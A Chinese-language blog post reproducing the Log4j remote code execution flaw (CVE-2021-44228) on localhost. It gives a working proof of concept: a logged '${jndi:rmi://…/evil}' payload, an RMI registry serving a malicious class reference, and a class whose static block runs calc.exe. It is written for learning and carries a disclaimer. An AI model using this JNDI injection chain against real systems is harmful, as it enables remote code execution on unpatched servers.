一个只会做开发的小白的 Log4j RCE 漏洞复现过程

前言

CVE编号:CVE-2021-44228

这次的 RCE 漏洞影响确实大,堪称核武器级别,因为其复现极其简单,发出没多久几乎整个 IT 圈都知道了。我一个搞开发的,以往也就关注一些前沿的新技术消息,这次来关注一下安全圈的事件。

Log4j 是 Apache 的一款日志库,用途范围极其广泛,Spring 等框架均包含。

受影响的组件包含但不限于:

  • Apache Struts2
  • Apache Solr
  • Apache Druid
  • Apache Flink
  • Apache Flume
  • Apache Dubbo
  • Apache Kafka
  • Spring-boot-starter-log4j2
  • ElasticSearch

RCE 过程整理

影响版本:Apache Log4j Core <= 2.14.1

本文的代码仓库:https://github.com/taurusxin/CVE-2021-44228

复现

若某一服务中包含有 使用 Log4j 对用户输入内容的日志记录,那么便可触发 RCE

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package me.xingez;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {
    private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String[] args) {

        String testPayload = "${jndi:rmi://127.0.0.1/evil}";

        LOGGER.error(testPayload);

    }
}

用户构造恶意 jdni 服务,将含有 ${jndi:xxx} 的字符串提交到后端,记录日志时便可执行 lookup

计算器成功弹出

其中我使用的 jndi 服务为 RMI registry,代码如下

RmiServer.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package me.xingez.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {
    public static void main(String[] args) {

        try {
          	// 注册 registry 监听端口
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();

            System.out.println("Create RMI registry on port 1099...");
          
          	// 实例化恶意代码类的引用
            Reference reference = new Reference("me.xingez.rmi.EvilCode",
                    "me.xingez.rmi.EvilCode", null);
          
          	// 绑定服务为 evil
            ReferenceWrapper wrapper = new ReferenceWrapper(reference);
            registry.bind("evil", wrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

EvilCode.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
package me.xingez.rmi;

import java.io.IOException;

public class EvilCode {
  	// 当 lookup 时,直接执行该类的静态块
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

声明:以上所有代码块均为安全测试时使用,切勿用于非法用途,使用此代码导致的后果与本人无关。

结语

这个漏洞触发简单到用发送一条消息的办法就可以做到,因为我是一名 MC 玩家兼 MC 服务器服主,所以这个问题对我来说是不可忽视的,好在我们服务器现在运行的是最新的 1.18,使用 Java 17,不存在此问题。

最后祝愿这几天修代码的安全工程师、开发者都保重身体健康!

Licensed under CC BY-NC-SA 4.0